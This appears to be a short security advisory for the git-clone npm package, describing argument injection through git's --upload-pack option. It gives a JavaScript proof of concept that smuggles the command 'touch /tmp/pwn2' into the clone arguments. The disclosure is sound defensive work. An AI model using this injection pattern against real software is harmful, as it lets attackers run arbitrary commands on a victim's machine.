Overview

Affected versions of this package are vulnerable to Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') due to insecure usage of the --upload-pack feature of git.

PoC: 

const clone = require('git-clone')
const repo = 'file:///tmp/zero12345'
const path = '/tmp/example-new-repo'
const options = {
    args: [
    '--upload-pack=touch /tmp/pwn2'
]}

Observe a new file created: /tmp/pwn2
